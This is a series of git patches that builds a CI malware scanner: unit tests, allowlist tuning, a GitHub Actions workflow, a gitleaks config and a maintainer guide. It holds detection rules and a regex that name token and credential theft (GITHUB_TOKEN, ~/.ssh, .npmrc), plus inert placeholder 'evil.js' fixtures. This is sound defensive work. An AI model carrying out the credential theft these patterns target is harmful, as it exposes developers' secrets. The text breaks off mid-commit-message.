"POLIN-OBFUSCATED-JS", "path": "a.js", "reason": "test"}] + self.assertEqual(scan_mod.apply_allowlist([finding], allow), []) + + def test_allowlist_wildcard_rule_and_glob_path_suppress(self): + finding = scan_mod.Finding( + "STEAL-TOKEN-EXFIL", "BLOCK", "docs/compose/plans/x.md", 1, "m" + ) + allow = [{"rule": "*", "path": "docs/compose/*", "reason": "docs"}] + self.assertEqual(scan_mod.apply_allowlist([finding], allow), []) + + def test_allowlist_non_matching_entry_keeps_finding(self): + finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") + allow = [{"rule": "POLIN-OBFUSCATED-JS", "path": "b.js", "reason": "x"}] + self.assertEqual(len(scan_mod.apply_allowlist([finding], allow)), 1) + + def test_load_allowlist_missing_reason_raises(self): + with tempfile.TemporaryDirectory() as td: + p = Path(td) / "allow.json" + p.write_text( + json.dumps({"allow": [{"rule": "*", "path": "x"}]}), + encoding="utf-8", + ) + with self.assertRaises(RuntimeError): + scan_mod.load_allowlist(p) + + def test_load_allowlist_valid_returns_entries(self): + with tempfile.TemporaryDirectory() as td: + p = Path(td) / "allow.json" + p.write_text( + json.dumps({"allow": [{"rule": "*", "path": "x", "reason": "r"}]}), + encoding="utf-8", + ) + self.assertEqual(len(scan_mod.load_allowlist(p)), 1) + + def test_shipped_allowlist_loads(self): + entries = scan_mod.load_allowlist( + REPO / "scripts" / "malware-scan" / "allowlist.json" + ) + self.assertTrue(entries) + self.assertTrue(all("reason" in e for e in entries)) + + +class TestGitChangedFiles(unittest.TestCase): + def test_lists_changed_files_between_revs(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "keep.js").write_text("const x = 1;\n", encoding="utf-8") + (root / "dirty.js").write_text( + 'const b = "' + "A" * 250 + '";\n', encoding="utf-8" + ) + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "keep.js") + _git_commit(root, "base") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "dirty.js") + _git_commit(root, "change") + files = scan_mod.git_changed_files(root, "HEAD~1", "HEAD") + self.assertEqual(files, ["dirty.js"]) + + +class TestDiffMode(unittest.TestCase): + @staticmethod + def _make_repo(root: Path) -> None: + (root / "clean.js").write_text("const ok = 1;\n", encoding="utf-8") + (root / "package.json").write_text( + json.dumps({"name": "demo-app", "dependencies": {"qs": "^6.0.0"}}), + encoding="utf-8", + ) + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "clean.js", "package.json") + _git_commit(root, "base") + (root / "bad.js").write_text( + 'const b = "' + "A" * 250 + '";\n', encoding="utf-8" + ) + (root / "package.json").write_text( + json.dumps({ + "name": "demo-app", + "dependencies": {"qs": "^6.0.0", "lodash": "^4.0.0"}, + }), + encoding="utf-8", + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "bad.js", "package.json") + _git_commit(root, "change") + + def test_diff_scan_reports_only_changed_files(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + self._make_repo(root) + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + paths = {f.path for f in findings} + self.assertIn("bad.js", paths, findings) + self.assertNotIn("clean.js", paths, findings) + hits = [f for f in findings if f.rule == "POLIN-OBFUSCATED-JS"] + self.assertTrue(any(f.path == "bad.js" for f in hits), findings) + self.assertIn("bad.js", scanned) + + def test_diff_new_dependency_warns_against_base(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + self._make_repo(root) + findings, _ = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "SUSP-NEW-DEPENDENCY"] + self.assertEqual(len(hits), 1, findings) + self.assertEqual(hits[0].severity, "WARN") + self.assertEqual(hits[0].path, "package.json") + self.assertIn("lodash", hits[0].message) + self.assertNotIn("'qs'", hits[0].message) + + def test_diff_new_file_package_json_flags_all_deps(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "a.txt").write_text("a\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "a.txt") + _git_commit(root, "base") + (root / "package.json").write_text( + json.dumps({"name": "demo-app", "dependencies": {"qs": "^6.0.0"}}), + encoding="utf-8", + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "package.json") + _git_commit(root, "add manifest") + findings, _ = scan_mod.run_diff(root, "HEAD~1", "HEAD") + hits = [f for f in findings if f.rule == "SUSP-NEW-DEPENDENCY"] + self.assertEqual(len(hits), 1, findings) + self.assertIn("qs", hits[0].message) + + def test_cli_diff_mode_scans_only_changed(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + self._make_repo(root) + proc = subprocess.run( + [sys.executable, str(SCAN), "--base", "HEAD~1", "--head", "HEAD", + "--json-out", "-"], + capture_output=True, text=True, cwd=root, + ) + self.assertIn(proc.returncode, (0, 1), proc.stderr) + data = json.loads(proc.stdout) + paths = {f["path"] for f in data["findings"]} + self.assertIn("bad.js", paths) + self.assertNotIn("clean.js", paths) + self.assertTrue(any( + f["rule"] == "SUSP-NEW-DEPENDENCY" for f in data["findings"] + ), data) + + +class TestHistoryMode(unittest.TestCase): + def test_history_finds_one_deleted_malicious_blob(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + _git_ok(root, "init", "-q") + (root / "evil.js").write_text( + 'var k = "%s";\n' % ("QUJD" * 55), encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", "add", "-A") + _git_commit(root, "add evil") + (root / "evil.js").unlink() + (root / "clean.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", "add", "-A") + _git_commit(root, "remove evil") + findings, scanned = scan_mod.run_history(root) + hits = [f for f in findings if f.rule == "POLIN-OBFUSCATED-JS"] + self.assertTrue(hits, findings) + self.assertTrue(all(f.path == "evil.js" for f in hits), findings) + self.assertEqual(hits[0].severity, "BLOCK") + self.assertIn("evil.js", scanned) + self.assertEqual(len(scanned), len(set(scanned))) + + def test_cli_history_mode_finds_deleted_blob(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + _git_ok(root, "init", "-q") + (root / "evil.js").write_text( + 'var k = "%s";\n' % ("QUJD" * 55), encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", "add", "-A") + _git_commit(root, "add evil") + (root / "evil.js").unlink() + (root / "clean.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", "add", "-A") + _git_commit(root, "remove evil") + proc = subprocess.run( + [sys.executable, str(SCAN), "--history", "--json-out", "-"], + capture_output=True, text=True, cwd=root, + ) + self.assertEqual(proc.returncode, 1, proc.stdout + proc.stderr) + data = json.loads(proc.stdout) + hits = [f for f in data["findings"] + if f["rule"] == "POLIN-OBFUSCATED-JS"] + self.assertTrue(hits, data) + self.assertTrue(all(f["path"] == "evil.js" for f in hits), data) + + if __name__ == "__main__": unittest.main() From fe59cff7f1e467033236041c0960794640b84b16 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 05:20:28 +0100 Subject: [PATCH 23/31] fix(malware-scan): unify path policy for diff/history modes and cut WARN noise --- scripts/malware-scan/allowlist.json | 10 ++++++ scripts/malware-scan/scan.py | 16 ++++++++-- tests/malware-scan/test_scan.py | 48 +++++++++++++++++++++++++++++ 3 files changed, 71 insertions(+), 3 deletions(-) diff --git a/scripts/malware-scan/allowlist.json b/scripts/malware-scan/allowlist.json index 2c23d69..e19794f 100644 --- a/scripts/malware-scan/allowlist.json +++ b/scripts/malware-scan/allowlist.json @@ -9,6 +9,16 @@ "rule": "*", "path": "docs/compose/*", "reason": "Design/plan docs quote malware fixture payloads verbatim for documentation" + }, + { + "rule": "SUSP-HIGH-ENTROPY", + "path": "package-lock.json", + "reason": "npm integrity hashes are high-entropy by design" + }, + { + "rule": "SUSP-TYPOSQUAT", + "path": "package.json", + "reason": "Root manifest uses short legit package names (pg, tsx) that collide with the popular-name heuristic" } ] } diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index ff02308..93f0854 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -720,9 +720,13 @@ def rule_susp_typosquat(path: str, text: str) -> list[Finding]: } out = [] for name in sorted(names): - if name.startswith("@") or name in popular: + if name.startswith("@") or name in popular or len(name) < 4: continue - if any(_edit_distance_bounded(name, pop) <= 2 for pop in popular): + if any( + _edit_distance_bounded(name, pop) <= 2 + and abs(len(name) - len(pop)) <= 1 + for pop in popular + ): out.append(Finding( "SUSP-TYPOSQUAT", "WARN", path, _locate_name_line(text, name), f"package name {name!r} is within edit distance 2 of a popular " @@ -908,12 +912,18 @@ def rule_susp_new_dependency( return out +def _excluded_rel(rel: str) -> bool: + return "malware-scan" in Path(rel).parts + + def run_diff( repo: str | Path, base: str, head: str, ) -> tuple[list[Finding], list[str]]: findings: list[Finding] = [] scanned: list[str] = [] for rel in git_changed_files(repo, base, head): + if _excluded_rel(rel): + continue p = Path(repo) / rel if p.is_symlink() or not p.is_file(): continue @@ -940,7 +950,7 @@ def run_history(repo: str | Path) -> tuple[list[Finding], list[str]]: oid = parts[0].strip() if not re.fullmatch(r"[0-9a-f]{40,64}", oid) or len(parts) < 2: continue - if oid in oid_path: + if oid in oid_path or _excluded_rel(parts[1]): continue oid_path[oid] = parts[1] order.append(oid) diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index b57dd2c..035779a 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -1030,6 +1030,14 @@ def test_typosquat_popular_name_silent(self): text = '{"name": "express", "dependencies": {"express": "^4.0.0"}}\n' self.assertEqual(scan_mod.scan_text("package.json", text), []) + def test_typosquat_short_name_length_diff_silent(self): + text = '{"name": "x", "dependencies": {"vitest": "^3.0.0"}}\n' + found = scan_mod.scan_text("package.json", text) + hits = [f for f in found if f.rule == "SUSP-TYPOSQUAT"] + self.assertEqual(hits, [], found) + pop = scan_mod.TYPOSQUAT_LIST.read_text(encoding="utf-8").splitlines() + self.assertTrue(any(ln.strip() == "vite" for ln in pop)) + def test_typosquat_scoped_name_silent(self): text = '{"name": "@types/node", "dependencies": {"@types/node": "^18.0.0"}}\n' self.assertEqual(scan_mod.scan_text("package.json", text), []) @@ -1328,6 +1336,46 @@ def test_cli_diff_mode_scans_only_changed(self): f["rule"] == "SUSP-NEW-DEPENDENCY" for f in data["findings"] ), data) + def test_diff_scanner_policy_excludes_malware_scan_paths(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + (root / "ok.js").write_text("const ok = 1;\n", encoding="utf-8") + _git_ok(root, "init", "-q") + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "ok.js") + _git_commit(root, "base") + payload_dir = root / "tests" / "malware-scan" / "fixtures" + payload_dir.mkdir(parents=True) + (payload_dir / "payload.js").write_text( + 'var k = "%s";\n' % ("QUJD" * 55), encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add scanner payload fixture") + findings, scanned = scan_mod.run_diff(root, "HEAD~1", "HEAD") + self.assertEqual( + [f for f in findings if f.severity == "BLOCK"], [], findings + ) + self.assertNotIn("tests/malware-scan/fixtures/payload.js", scanned) + + def test_history_scanner_policy_excludes_malware_scan_paths(self): + with tempfile.TemporaryDirectory() as td: + root = Path(td) + _git_ok(root, "init", "-q") + payload_dir = root / "tests" / "malware-scan" / "fixtures" + payload_dir.mkdir(parents=True) + (payload_dir / "payload.js").write_text( + 'var k = "%s";\n' % ("QUJD" * 55), encoding="utf-8" + ) + _git_ok(root, "-c", "user.email=t@t", "-c", "user.name=t", + "add", "-A") + _git_commit(root, "add scanner payload fixture") + findings, scanned = scan_mod.run_history(root) + self.assertEqual( + [f for f in findings if f.severity == "BLOCK"], [], findings + ) + self.assertNotIn("tests/malware-scan/fixtures/payload.js", scanned) + class TestHistoryMode(unittest.TestCase): def test_history_finds_one_deleted_malicious_blob(self): From f32a787af67661899877bd884f7e0652c62a9da9 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 05:30:53 +0100 Subject: [PATCH 24/31] fix(malware-scan): stop persist-credentials action input tripping STEAL-TOKEN-EXFIL --- scripts/malware-scan/scan.py | 2 +- tests/malware-scan/test_scan.py | 21 +++++++++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 93f0854..97355f6 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -227,7 +227,7 @@ def _is_exec_pipeline(ln: str) -> bool: TOKEN_REF_RE = re.compile( r"GITHUB_TOKEN|GH_TOKEN|process\.env\[[^\]]*TOKEN" r"|process\.env\.[A-Za-z_$][\w$]*TOKEN|process\.env\.TOKEN" - r"|~\/\.ssh|\.npmrc|credentials" + r"|~\/\.ssh|\.npmrc|(? Date: Fri, 20 Nov 2026 05:30:53 +0100 Subject: [PATCH 25/31] ci: add malware-protection workflow (TTP scan, secrets, workflow lint, history sweep) --- .github/workflows/malware-protection.yml | 123 +++++++++++++++++++++++ .gitleaks.toml | 6 ++ 2 files changed, 129 insertions(+) create mode 100644 .github/workflows/malware-protection.yml create mode 100644 .gitleaks.toml diff --git a/.github/workflows/malware-protection.yml b/.github/workflows/malware-protection.yml new file mode 100644 index 0000000..36596e2 --- /dev/null +++ b/.github/workflows/malware-protection.yml @@ -0,0 +1,123 @@ +name: Malware Protection + +on: + pull_request: + branches: [main] + push: + branches: [main] + schedule: + - cron: "17 4 * * *" + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: malware-protection-${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + ttp-scan: + name: TTP Scan + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + fetch-depth: 0 + persist-credentials: false + - uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 + with: + python-version: "3.12" + - name: Scanner unit tests + run: python3 -m unittest discover -s tests/malware-scan -v + - name: TTP scan (PR diff) + if: github.event_name == 'pull_request' + env: + SCAN_BASE: ${{ github.base_ref }} + run: >- + python3 scripts/malware-scan/scan.py + --base "origin/$SCAN_BASE" + --head HEAD + --annotations + --summary "$GITHUB_STEP_SUMMARY" + - name: TTP scan (tree) + if: github.event_name != 'pull_request' + run: >- + python3 scripts/malware-scan/scan.py + --paths . + --annotations + --summary "$GITHUB_STEP_SUMMARY" + + history-scan: + name: History Scan + if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + fetch-depth: 0 + persist-credentials: false + - uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 + with: + python-version: "3.12" + - name: Full history TTP scan + run: >- + python3 scripts/malware-scan/scan.py + --history + --annotations + --summary "$GITHUB_STEP_SUMMARY" + + secrets-scan: + name: Secrets Scan + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + fetch-depth: 0 + persist-credentials: false + - name: Install gitleaks + run: | + set -euo pipefail + VERSION="8.30.1" + curl -fsSL -o /tmp/gitleaks.tar.gz \ + "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz" + tar -xzf /tmp/gitleaks.tar.gz -C /tmp gitleaks + sudo install -m 0755 /tmp/gitleaks /usr/local/bin/gitleaks + gitleaks version + - name: Detect secrets (PR diff) + if: github.event_name == 'pull_request' + env: + SCAN_BASE: ${{ github.base_ref }} + run: >- + gitleaks detect --source . --redact + --log-opts "origin/$SCAN_BASE..HEAD" + --exit-code 1 + - name: Detect secrets + if: github.event_name != 'pull_request' + run: gitleaks detect --source . --redact --exit-code 1 + + workflow-lint: + name: Workflow Lint + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false + - uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 + with: + python-version: "3.12" + - name: Install zizmor + run: pip install zizmor==1.32.0 + - name: Install actionlint + run: | + set -euo pipefail + VERSION="1.7.12" + curl -fsSL -o /tmp/actionlint.tar.gz \ + "https://github.com/rhysd/actionlint/releases/download/v${VERSION}/actionlint_${VERSION}_linux_amd64.tar.gz" + tar -xzf /tmp/actionlint.tar.gz -C /tmp actionlint + sudo install -m 0755 /tmp/actionlint /usr/local/bin/actionlint + actionlint --version + - name: Lint workflows + run: | + zizmor --persona auditor .github/workflows/ + actionlint diff --git a/.gitleaks.toml b/.gitleaks.toml new file mode 100644 index 0000000..be5a420 --- /dev/null +++ b/.gitleaks.toml @@ -0,0 +1,6 @@ +[extend] +useDefault = true + +[[allowlist]] +description = "Inert scanner test fixtures" +paths = ['''tests/malware-scan/fixtures/.*'''] From f080044fd0c82a52ae4754747cfc3b4d4504d1d8 Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 05:35:41 +0100 Subject: [PATCH 26/31] feat(malware-scan): annotations and summary output; maintainer guide --- docs/malware-protection.md | 136 ++++++++++++++++++++++++++++++++ scripts/malware-scan/scan.py | 54 +++++++++++++ tests/malware-scan/test_scan.py | 72 +++++++++++++++++ 3 files changed, 262 insertions(+) create mode 100644 docs/malware-protection.md diff --git a/docs/malware-protection.md b/docs/malware-protection.md new file mode 100644 index 0000000..581586c --- /dev/null +++ b/docs/malware-protection.md @@ -0,0 +1,136 @@ +# Malware Protection — Maintainer Guide + +Companion to the design spec: +[`docs/compose/specs/2026-11-19-malware-protection-ci-design.md`](compose/specs/2026-11-19-malware-protection-ci-design.md). + +This repository is protected by `.github/workflows/malware-protection.yml`, a +stdlib-only Python scanner (`scripts/malware-scan/scan.py`), and three pinned +third-party tools (gitleaks, zizmor, actionlint). The scanner **never executes +project code** — no `npm install`, no lifecycle scripts, no repo-module imports. + +## What the workflow covers + +| Threat vector | Covered by | +|---|---| +| Config-file payload append (PolinRider) | `POLIN-CONFIG-APPEND`, `POLIN-OBFUSCATED-JS` | +| VS Code tasks curl-to-shell | `POLIN-VSCODE-TASKS` | +| Token stealers / self-propagation | `STEAL-TOKEN-EXFIL`, gitleaks history scan | +| Malicious lifecycle scripts | `HOOK-MALICIOUS-SCRIPT` | +| Poisoned/typosquat dependencies | `SUSP-NEW-DEPENDENCY`, `SUSP-TYPOSQUAT` | +| Workflow abuse (pwn-request, injection, unpinned) | `WF-*` rules, zizmor, actionlint | +| Pre-existing / force-pushed infections | scheduled + manual history sweep (`--history`) | +| Committed secrets | gitleaks | + +Jobs: + +| Job | Triggers | What it does | +|---|---|---| +| `ttp-scan` | every trigger | unit tests, then PR-diff scan (`--base/--head`) or full-tree scan (`--paths .`) | +| `history-scan` | `schedule`, `workflow_dispatch` | `scan.py --history` over every blob reachable from any ref | +| `secrets-scan` | every trigger | `gitleaks detect` on the PR range or full tree | +| `workflow-lint` | every trigger | `zizmor --persona auditor` + `actionlint` on `.github/workflows/` | + +Triggers: pull requests targeting `main`, pushes to `main`, daily cron +(`17 4 * * *`), and manual `workflow_dispatch`. Workflow-level permissions are +`contents: read` only; no job declares `secrets:`; PR events use `pull_request` +(never `pull_request_target`); every third-party action is pinned to a full +commit SHA with a version comment. + +## Severity tiers and CI behavior + +| Tier | Meaning | CI result | +|---|---|---| +| **BLOCK** | High-confidence malware / workflow abuse | check fails — scanner exits **1** | +| **WARN** | Suspicious but needs human review | GitHub annotation (`::warning`), check **passes** | +| **ERROR** | Scanner crash / bad invocation / tool failure | check fails — scanner exits **2** (fail-safe) | + +Annotations use the form +`::{error|warning} file=path,line=N::[RULE] message` (error for BLOCK, warning +for WARN). A Markdown job summary is written to `$GITHUB_STEP_SUMMARY` and ends +with an **Incident response** section whenever any BLOCK finding is present. + +CLI annotation/JSON routing: with `--json-out -` (default) JSON stays on stdout +and annotation lines go to **stderr**; with `--json-out ` JSON is written +to the file and annotations print to stdout. `--summary PATH` always writes the +Markdown summary to `PATH`. + +Exit codes are stable: `0` = clean (WARN allowed), `1` = BLOCK present, +`2` = scanner error. The workflow does not use `continue-on-error`, so both +exit 1 and exit 2 fail the job. + +## Running locally + +```bash +# unit tests (stdlib unittest, no deps) +python3 -m unittest discover -s tests/malware-scan -v + +# scan the working tree +python3 scripts/malware-scan/scan.py --paths . + +# scan full git history (catches deleted/force-pushed payloads) +python3 scripts/malware-scan/scan.py --history + +# scan a commit range (as CI does for PRs) +python3 scripts/malware-scan/scan.py --base origin/main --head HEAD + +# optional outputs +python3 scripts/malware-scan/scan.py --paths . \ + --annotations --summary /tmp/report.md --json-out /tmp/findings.json +``` + +Companion tools (installed pinned in CI; install locally as needed): + +- **gitleaks** — secret scanning (`gitleaks detect --source . --redact`). + Config: `.gitleaks.toml` (allowlists inert scanner fixtures under + `tests/malware-scan/fixtures/`). +- **zizmor** — GitHub Actions static analysis + (`zizmor --persona auditor .github/workflows/`). +- **actionlint** — workflow syntax/lint (`actionlint`). + +## Allowlist policy + +Suppressions live in `scripts/malware-scan/allowlist.json`. Each entry is: + +```json +{ "rule": "RULE-ID-or-glob", "path": "glob/for/path", "reason": "written justification" } +``` + +- **`reason` is mandatory** — the scanner rejects entries without one. +- Suppressions print to stderr (`allowlist: suppressed N finding(s)`) and the + remaining findings (post-suppression) appear in the job summary, so nothing + disappears silently. +- Prefer fixing the underlying false positive over adding an entry. When an + entry is truly needed (e.g. npm integrity hashes in `package-lock.json`), + scope it to the narrowest `rule` + `path` pair and write a concrete reason. + +## Incident-response checklist + +If a BLOCK finding (or gitleaks hit) fires on a PR or in the daily sweep: + +1. **Do not merge / do not deploy.** Revoke and rotate tokens that could have + been exposed on the affected machine: GitHub PATs, npm tokens, SSH keys, + cloud credentials. +2. **Audit force-push history.** PolinRider propagates by force-pushing into + writable repos — inspect `git reflog` and recently updated refs for + rewritten history. +3. **Run the history sweep locally:** + `python3 scripts/malware-scan/scan.py --history` + and follow this guide through cleanup. +4. **Clean up known PolinRider artifacts** using the OpenSourceMalware + developer guide and the [PolinRider scanner](https://polinriderscanner.com/) + reference — remove malicious config-file tails, `.vscode/tasks.json` + payloads, and injected lifecycle scripts, then rotate credentials *again* + after cleanup. +5. Re-run the full test suite and `scan.py --paths .` before reopening the PR. + +## Branch protection + +Mark the following checks as **required** in GitHub branch protection for +`main` (repository settings — out of scope for this workflow file itself): + +- `Malware Protection / TTP Scan` +- `Malware Protection / Secrets Scan` +- `Malware Protection / Workflow Lint` +- (on schedule/dispatch) `Malware Protection / History Scan` + +Without required checks, a red malware-protection run is advisory only. diff --git a/scripts/malware-scan/scan.py b/scripts/malware-scan/scan.py index 97355f6..78e9f9a 100644 --- a/scripts/malware-scan/scan.py +++ b/scripts/malware-scan/scan.py @@ -979,6 +979,46 @@ def run_history(repo: str | Path) -> tuple[list[Finding], list[str]]: return findings, scanned +def render_annotations(findings: list[Finding]) -> list[str]: + """GitHub Actions workflow-command lines for each finding.""" + out: list[str] = [] + for f in findings: + level = "error" if f.severity == "BLOCK" else "warning" + out.append(f"::{level} file={f.path},line={f.line}::[{f.rule}] {f.message}") + return out + + +def render_summary(findings: list[Finding], scanned: list[str]) -> str: + """Markdown job summary with tier counts and incident-response pointer.""" + blocks = sum(1 for f in findings if f.severity == "BLOCK") + warns = sum(1 for f in findings if f.severity == "WARN") + lines = [ + "# Malware protection report", + "", + f"Scanned: {len(scanned)} path(s) — BLOCK: **{blocks}**, WARN: **{warns}**", + "", + ] + if findings: + lines.append("## Findings") + lines.append("") + for f in findings: + lines.append(f"- {f.severity} {f.path}:{f.line} {f.rule} — {f.message}") + lines.append("") + if blocks: + lines.extend([ + "## Incident response", + "", + "1. Do not merge — revoke/rotate tokens on the affected machine " + "(GitHub PATs, npm tokens, SSH keys).", + "2. Inspect force-push history (`git reflog`) — PolinRider propagates " + "by force-pushing into writable repos.", + "3. Run `python3 scripts/malware-scan/scan.py --history` locally " + "and see `docs/malware-protection.md`.", + "", + ]) + return "\n".join(lines) + + def main(argv: list[str] | None = None) -> int: ap = argparse.ArgumentParser(prog="scan.py") ap.add_argument("--paths", nargs="+", default=None) @@ -992,6 +1032,10 @@ def main(argv: list[str] | None = None) -> int: help="suppression list JSON (rule/path/reason entries)", ) ap.add_argument("--json-out", default="-", help="'-' for stdout or a file path") + ap.add_argument("--annotations", action="store_true", + help="emit GitHub Actions ::error/::warning lines") + ap.add_argument("--summary", default=None, metavar="PATH", + help="write a Markdown job summary to PATH") args = ap.parse_args(argv) try: allow = load_allowlist(args.allowlist) @@ -1015,12 +1059,22 @@ def main(argv: list[str] | None = None) -> int: suppressed = before - len(findings) if suppressed: print(f"allowlist: suppressed {suppressed} finding(s)", file=sys.stderr) + if args.summary is not None: + Path(args.summary).write_text( + render_summary(findings, scanned), encoding="utf-8" + ) + annotations = render_annotations(findings) if args.annotations else [] payload = {"findings": [asdict(f) for f in findings], "scanned": scanned} out = json.dumps(payload, indent=2) if args.json_out == "-": + # Keep stdout pure JSON; annotations (if any) go to stderr. print(out) + for line in annotations: + print(line, file=sys.stderr) else: Path(args.json_out).write_text(out, encoding="utf-8") + for line in annotations: + print(line) except Exception as exc: print(f"scanner error: {exc}", file=sys.stderr) return 2 diff --git a/tests/malware-scan/test_scan.py b/tests/malware-scan/test_scan.py index 11c0c80..23183ab 100644 --- a/tests/malware-scan/test_scan.py +++ b/tests/malware-scan/test_scan.py @@ -1205,6 +1205,78 @@ def _git_commit(root: Path, msg: str) -> None: ) +class TestAnnotationsAndSummary(unittest.TestCase): + def test_render_annotations_exact_lines(self): + findings = [ + scan_mod.Finding("POLIN-CONFIG-APPEND", "BLOCK", "a.config.js", 12, "bad append"), + scan_mod.Finding("SUSP-TYPOSQUAT", "WARN", "package.json", 3, "maybe typo"), + ] + self.assertEqual( + scan_mod.render_annotations(findings), + [ + "::error file=a.config.js,line=12::[POLIN-CONFIG-APPEND] bad append", + "::warning file=package.json,line=3::[SUSP-TYPOSQUAT] maybe typo", + ], + ) + + def test_render_summary_counts_and_rotate(self): + findings = [ + scan_mod.Finding("STEAL-TOKEN-EXFIL", "BLOCK", "evil.js", 1, "exfil"), + scan_mod.Finding("SUSP-NEW-BINARY", "WARN", "blob.bin", 1, "binary"), + ] + summary = scan_mod.render_summary(findings, ["evil.js", "blob.bin"]) + self.assertIn("BLOCK: **1**", summary) + self.assertIn("WARN: **1**", summary) + self.assertIn("rotate", summary.lower()) + self.assertIn("## Incident response", summary) + self.assertIn("evil.js:1 STEAL-TOKEN-EXFIL", summary) + + def test_render_summary_no_block_omits_incident_response(self): + findings = [scan_mod.Finding("SUSP-TYPOSQUAT", "WARN", "package.json", 1, "m")] + summary = scan_mod.render_summary(findings, ["package.json"]) + self.assertIn("BLOCK: **0**", summary) + self.assertNotIn("## Incident response", summary) + self.assertIn("WARN: **1**", summary) + + def test_cli_annotations_with_json_file_on_stdout(self): + with tempfile.TemporaryDirectory() as td: + out = Path(td) / "out.json" + proc = run_scan( + "--paths", "src", "--annotations", "--json-out", str(out), + ) + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + self.assertEqual(proc.stdout.strip(), "") + json.loads(out.read_text(encoding="utf-8")) + + def test_cli_annotations_with_json_stdout_go_to_stderr(self): + proc = run_scan("--paths", "src", "--annotations", "--json-out", "-") + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + data = json.loads(proc.stdout) + self.assertIn("findings", data) + for line in proc.stderr.splitlines(): + if line.startswith("::"): + self.assertRegex(line, r"^::(error|warning) file=.+,line=\d+::\[") + + def test_cli_summary_file_written(self): + with tempfile.TemporaryDirectory() as td: + summary = Path(td) / "summary.md" + proc = run_scan( + "--paths", "src", "--summary", str(summary), "--json-out", + str(Path(td) / "out.json"), + ) + self.assertEqual(proc.returncode, 0, proc.stdout + proc.stderr) + text = summary.read_text(encoding="utf-8") + self.assertIn("# Malware protection report", text) + self.assertIn("BLOCK:", text) + + def test_cli_exit_codes_unchanged_with_new_flags(self): + proc = run_scan( + "--paths", "does-not-exist", "--annotations", "--json-out", "-", + ) + self.assertEqual(proc.returncode, 2) + self.assertIn("scanner error", proc.stderr) + + class TestAllowlist(unittest.TestCase): def test_allowlist_suppresses_with_reason(self): finding = scan_mod.Finding("POLIN-OBFUSCATED-JS", "BLOCK", "a.js", 1, "m") From 0f42a84147e5d870d944004f7379454f1b948bcf Mon Sep 17 00:00:00 2001 From: DeFiVC Date: Fri, 20 Nov 2026 06:05:34 +0100 Subject: [PATCH 27/31] fix(gitleaks): correct allowlist syntax and baseline pre-existing findings MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The array-of-tables form [[allowlist]] fails to load on pinned gitleaks v8.30.1 ('AllowList' expected a map, got 'slice'), so the secrets-scan job exited 1 before scanning. Use the supported [[allowlists]] form (the singular [allowlist] table is a deprecated 9.x-removal shim) and add path-scoped entries with honest reasons for the 20 pre-existing generic-api-key findings at c1d9d02 (ci.yml x7, src/config/index.ts x1, tests/unit/config/stellar.test.ts x3, tests/unit/services/idempotency.test.ts x9). Each baseline entry is anchored to its exact file and targeted at the generic-api-key rule only, so new leaks of other rules — or new 